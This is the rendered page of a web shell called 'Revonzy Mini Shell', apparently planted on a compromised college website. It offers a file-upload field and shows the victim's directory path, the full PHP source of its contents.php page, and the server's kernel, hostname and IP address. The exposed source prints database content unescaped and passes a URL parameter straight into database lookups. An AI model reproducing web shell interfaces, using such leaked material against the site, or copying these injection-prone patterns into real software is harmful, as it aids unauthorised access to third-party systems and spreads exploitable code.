Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/spmsolapur.org/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/spmsolapur.org/contents.php

<?php
    ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

    require_once("admin/lib/functions.php");
	$db = new login_function();

    $page_id_code   = "";

    if(isset($_GET['pno']))
    {
        $page_id_code   =   $_GET['pno'];
    }

    $var_title      = "";
    $var_contents   = "";
    $data = $db->get_page1_data_from_id($page_id_code);
    if(!empty($data))
    {
        $var_title = $data[3];
        $var_contents= $data[4];	
    }

    $docs_data = $db->get_all_docs_data($page_id_code);
	$links_data = $db->get_all_links_info($page_id_code);
	$img_gallery_data = $db->get_all_crm_gallery_data($page_id_code);
	$img_photo_title_data = $db->get_all_photo_title_crm_gallery_data($page_id_code);
	$youtube_links_data = $db->get_all_crm_youtube_links_info($page_id_code);
	$group_wise_docs_data = $db->get_all_crm_groups_data($page_id_code);
?>

<!doctype html>
<html class="no-js" lang="">
<head>
    <meta charset="utf-8">
    <meta http-equiv="x-ua-compatible" content="ie=edge">
    <title>SPM Polytechnic , Kumathe</title>
    <meta name="description" content="">
    <meta name="viewport" content="width=device-width, initial-scale=1">
	<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
  <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/js/bootstrap.min.js"></script>
   <link rel="icon" href="img/core-img/favicon.ico">

    <!-- Core Stylesheet -->
    <link rel="stylesheet" href="style.css">
	<?php
		require_once('header-data.php');
	?>
	<style>
body {
  
}

@media only screen and (max-width: 600px) {
  .img {
   width:20px;
   height:20px;
  }
}
.main_breadcrumb_area h2
{
	font-size:30px;
	font-family:Cambria;
	padding:20px;
	color:#B21016 !important;
	font-weight:bold;
	border-bottom:1px solid #DFDFDF;
}
.data_table_main
{
    width:100%;
    margin-top:20px;
    margin-bottom:100px;
	text-transform:capitalize;
	font-weight:bold;
}
.data_table_main thead th
{
    background-color:#D3D5F5;
    padding:10px;
    color:#000000;
    font-weight:bold;
    font-size:17px;
    border:1px solid #999999;
    text-align:center;
}
.data_table_main tr td
{
    padding:7px;
    color:#0B6890;
    font-size:17px;
	font-weight:bold;
    text-align:center;
    border:1px solid #999999;
}
.data_table_main tr td a
{
    font-size:17px;
    text-decoration:none;
}
.bottom_table
{
    margin-top:25px;
}
</style>
</head>

<body>
    <!-- ##### Preloader ##### -->
   
    <!-- ##### Header Area Start ##### -->
   <?php
	include('headernew.php');
   ?>
    <!-- ##### Header Area End ##### -->

    <section class="about-us-area mt-20 section-padding-100" style="padding:0px;">
        <div class="container">
            <!--<div class="row">
                <div class="col-12">
                    <div class="section-heading text-center mx-auto wow fadeInUp" data-wow-delay="300ms">
                       
                        <h3><?php echo $var_title; ?></h3>
                    </div>
                </div>
            </div>-->
            <div class="row">
				<?php
					include('left-panel.php');
				?>
				
                <div class="col-9 col-md-9 wow fadeInUp" data-wow-delay="400ms">
                    <?php
                        if($var_contents!="")
                        {
                    ?>
					<div class="bg-img main_breadcrumb_area">
						<h2><?php echo $var_title; ?></h2>
					</div>
					<div style="font-size:18px; font-family:Arial; line-height:25px; margin-top:25px; padding-left:25px;">
						<?php echo $var_contents; ?>
					</div>
                    <?php
                        }
                    ?>
                    <?php
                        if(!empty($docs_data))
                        {
                    ?>
                    <div class="bg-img main_breadcrumb_area bottom_table">
						<h2><?php echo $var_title; ?> Documents</h2>
					</div>
<table cellspacing='0' class="data_table_main">
<thead>
    <tr>
        <th width="20" class="tab_data">Sr.No</th>
        <th width="350" class="tab_data" >Title</th>
        <th width="70" class="tab_data">View</th> 
    </tr>
</thead>
<tbody>
        <?php
            $report_details = $docs_data;            
            if(!empty($report_details))
            {
                $counter =0;
                foreach($report_details as $record)
                {
                    $id				=	$report_details[$counter][0];												
                    $image			=	$report_details[$counter][1];
                    $title			=	$report_details[$counter][2];
                    
        ?>
            <tr>
                <td><?php echo $counter+1; ?></td>	
                <td style="text-align:left"><?php echo $title; ?></td>
                <td><a href="crmdocs/<?php echo $image; ?>" target="_blank">
					<img src="images/PDF_icon.svg.png" style="height:25px; float:left; margin-right:4px;" />
				View File</a></td>
            </tr>
            <?php
            $counter++;
            }
            
        }
        else
        {
    ?>				
        <tr>
            <td colspan="3">No data to list</td>
        </tr>
    <?php
        }				
    ?>		
</tbody>
</table>
                    <?php        
                        }
                      if(!empty($links_data))
                        {
                    ?>
                    <div class="bg-img main_breadcrumb_area bottom_table">
						<h2><?php echo $var_title; ?> Links</h2>
					</div>
<table cellspacing='0' class="data_table_main">
<thead>
    <tr>
        <th width="20" class="tab_data">Sr.No</th>
        <th width="350" class="tab_data" >Title</th>
        <th width="70" class="tab_data">View</th> 
    </tr>
</thead>
<tbody>
        <?php
            $link_report_details = $links_data;            
            if(!empty($link_report_details))
            {
                $counter =0;
                foreach($link_report_details as $l_record)
                {
                   $l_id				=	$link_report_details[$counter][0];
				   $l_title			=	$link_report_details[$counter][1];
				   $l_url				=	$link_report_details[$counter][2];
                    
        ?>
            <tr>
                <td><?php echo $counter+1; ?></td>	
                <td style="text-align:left"><?php echo $l_title; ?></td>
                <td><a href="<?php echo $l_url; ?>" target="_blank">
								View Link</a></td>
            </tr>
            <?php
            $counter++;
            }
            
        }
        else
        {
    ?>				
        <tr>
            <td colspan="3">No data to list</td>
        </tr>
    <?php
        }				
    ?>		
</tbody>
</table>
                     <?php        
                        }
						 /*if(!empty($img_gallery_data))
                        {
                    ?>
    <div class="bg-img main_breadcrumb_area bottom_table">
						<h2><?php echo $var_title; ?> Gallery Images</h2>
					</div>
<table cellspacing='0' class="data_table_main">
<thead>
    <tr>
        <th width="20" class="tab_data">Sr.No</th>
        <th width="350" class="tab_data" >Title</th>
        <th width="70" class="tab_data">View</th> 
    </tr>
</thead>
<tbody>
        <?php
            $img_report_details = $img_gallery_data;            
            if(!empty($img_report_details))
            {
                $counter =0;
                foreach($img_report_details as $img_record)
                {
                    $id				=	$img_report_details[$counter][0];												
                    $image			=	$img_report_details[$counter][1];
                    $title			=	$img_report_details[$counter][2];
                    
        ?>
            <tr>
                <td><?php echo $counter+1; ?></td>	
                <td style="text-align:left"><?php echo $title; ?></td>
                <td><a href="crm_img_gallery/<?php echo $image; ?>" target="_blank">
					<img src="images/img_icon.png" style="height:25px; float:left; margin-right:4px;" />
				View File</a></td>
            </tr>
            <?php
            $counter++;
            }
            
        }
        else
        {
    ?>				
        <tr>
            <td colspan="3">No data to list</td>
        </tr>
    <?php
        }				
    ?>		
</tbody>
</table>
                    <?php        
                        }*/
                        if(!empty($img_gallery_data))
                        {
                    ?>
    <div class="bg-img main_breadcrumb_area bottom_table">
						<h2><?php echo $var_title; ?> Gallery Images</h2>
					</div>

        <?php
            $img_report_details = $img_gallery_data;            
            if(!empty($img_report_details))
            {
                $counter =0;
                foreach($img_report_details as $img_record)
                {
                    $id				=	$img_report_details[$counter][0];												
                    $image			=	$img_report_details[$counter][1];
                    $title			=	$img_report_details[$counter][2];
                    
        ?>
            <div style="display:inline-table; width:400px; padding:5px; margin:5px; color:red; font-weight:bold; border:1px solid #999999; text-align:center;">
				<a href="crm_img_gallery/<?php echo $image; ?>"><img src="crm_img_gallery/<?php echo $image; ?>" style="height:300px; width:100%; margin-bottom:10px;" /></a>
				<?php echo $title; ?>
            </div>
            <?php
            $counter++;
            }
            
        }
        else
        {
    ?>				
        <tr>
            <td colspan="3">No data to list</td>
        </tr>
    <?php
        }				
    ?>		

                    <?php        
                        }
                        
						 if(!empty($youtube_links_data))
                        {
                    ?>
 <div class="bg-img main_breadcrumb_area bottom_table">
						<h2><?php echo $var_title; ?> Youtube Links</h2>
					</div>
<table cellspacing='0' class="data_table_main">
<thead>
    <tr>
        <th width="20" class="tab_data">Sr.No</th>
        <th width="350" class="tab_data" >Title</th>
        <th width="70" class="tab_data">View</th> 
    </tr>
</thead>
<tbody>
        <?php
            $youtube_link_report_details = $youtube_links_data;            
            if(!empty($youtube_link_report_details))
            {
                $counter =0;
                foreach($youtube_link_report_details as $yl_record)
                {
                   $l_id				=	$youtube_link_report_details[$counter][0];
				   $l_title			=	$youtube_link_report_details[$counter][1];
				   $l_url				=	$youtube_link_report_details[$counter][2];
                    
        ?>
            <tr>
                <td><?php echo $counter+1; ?></td>	
                <td style="text-align:left"><?php echo $l_title; ?></td>
                <td><a href="<?php echo $l_url; ?>" target="_blank">
								View Link</a></td>
            </tr>
            <?php
            $counter++;
            }
            
        }
        else
        {
    ?>				
        <tr>
            <td colspan="3">No data to list</td>
        </tr>
    <?php
        }				
    ?>		
</tbody>
</table>
                    <?php        
                        }
						?>


<?php
                    if(!empty($img_photo_title_data))
                        {
                    ?>
    <div class="bg-img main_breadcrumb_area bottom_table">
						<h2><?php echo $var_title; ?> </h2>
					</div>

        <?php
            $img_report_details = $img_photo_title_data;            
            if(!empty($img_report_details))
            {
                $counter =0;
                foreach($img_report_details as $img_record)
                {
                    $id				=	$img_report_details[$counter][0];												
                    $image			=	$img_report_details[$counter][1];
                    $title			=	$img_report_details[$counter][2];
                    $subtitle			=	$img_report_details[$counter][3];
                    $attachment			=	$img_report_details[$counter][4];
        ?>
            <div style="display:inline-table; width:260px; padding:5px; margin:5px; color:#0070C0; font-weight:bold; border:1px solid #999999; text-align:center;">
				<a href="crm_img_gallery/<?php echo $image; ?>"><img src="crm_img_gallery/<?php echo $image; ?>" style="height:240px; width:100%; margin-bottom:10px;" /></a>
				<?php echo $title; ?><br />
				<span style="color:#333333;"><?php echo $subtitle; ?></span>
            </div>
            <?php
            $counter++;
            }
            
        }
        else
        {
    ?>				
        <tr>
            <td colspan="3">No data to list</td>
        </tr>
    <?php
        }				
    ?>		

                    <?php        
                        }
                    ?>
                    
                    <?php
                    if(!empty($group_wise_docs_data))
                        {
                    ?>
    <div class="bg-img main_breadcrumb_area bottom_table">
						<h2><?php echo $var_title; ?> </h2>
					</div>

        <?php
            $img_report_details = $group_wise_docs_data;            
            if(!empty($img_report_details))
            {
                $counter =0;
                foreach($img_report_details as $img_record)
                {
                    $id				=	$img_report_details[$counter][0];												
                    $title			=	$img_report_details[$counter][1];
                    $description    =	$img_report_details[$counter][2];
        ?>
        <div style="color:#005174; font-size:20px; text-align:center; border:1px solid #EFEFEF; background-color:#D3D5F5; padding:5px; margin:10px 0px 10px 0px;"><?php echo $title; ?></div>
            <?php
                $docs_data = $db->get_all_group_wise_docs_data_from_page_id_and_group($id,$page_id_code);
            if(!empty($docs_data))
            {
                $counter1 =0;
                foreach($docs_data as $img_record)
                {
                    $image    =	$docs_data[$counter1][1];
                    $subtitle			=	$docs_data[$counter1][2];
            ?>
            <div style="display:inline-table; width:260px; padding:5px; margin:5px; color:#0070C0; font-weight:bold; border:1px solid #999999; text-align:center;">
				<a href="crmdocs/<?php echo $image; ?>"><img src="crmdocs/<?php echo $image; ?>" style="height:240px; width:100%; margin-bottom:10px;" /></a>
				
				<span style="color:#333333;"><?php echo $subtitle; ?></span>
            </div>
            <?php
                    $counter1++;
                }
            }
            else
            {
                ?>
                <div style="">No Data Available</div>
                <?php
            }
            ?>
            <?php
            $counter++;
            }
            
        }
        else
        {
    ?>				
        <tr>
            <td colspan="3">No data to list</td>
        </tr>
    <?php
        }				
    ?>		

                    <?php        
                        }
                    ?>

<br />
<br />

                </div>
            </div>
        </div>
    </section>
    <!-- ##### About Us Area End ##### -->

    <!-- ##### Team Area Start ##### -->
  
    <!-- ##### Footer Area Start ##### -->
    <?php
		include('footernew.php');
	?>
    <!-- ##### Footer Area Start ##### -->

    <!-- ##### All Javascript Script ##### -->
    <!-- jQuery-2.2.4 js -->
    <script src="js/jquery/jquery-2.2.4.min.js"></script>
    <!-- Popper js -->
    <script src="js/bootstrap/popper.min.js"></script>
    <!-- Bootstrap js -->
    <script src="js/bootstrap/bootstrap.min.js"></script>
    <!-- All Plugins js -->
    <script src="js/plugins/plugins.js"></script>
    <!-- Active js -->
    <script src="js/active.js"></script>
</body>

</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4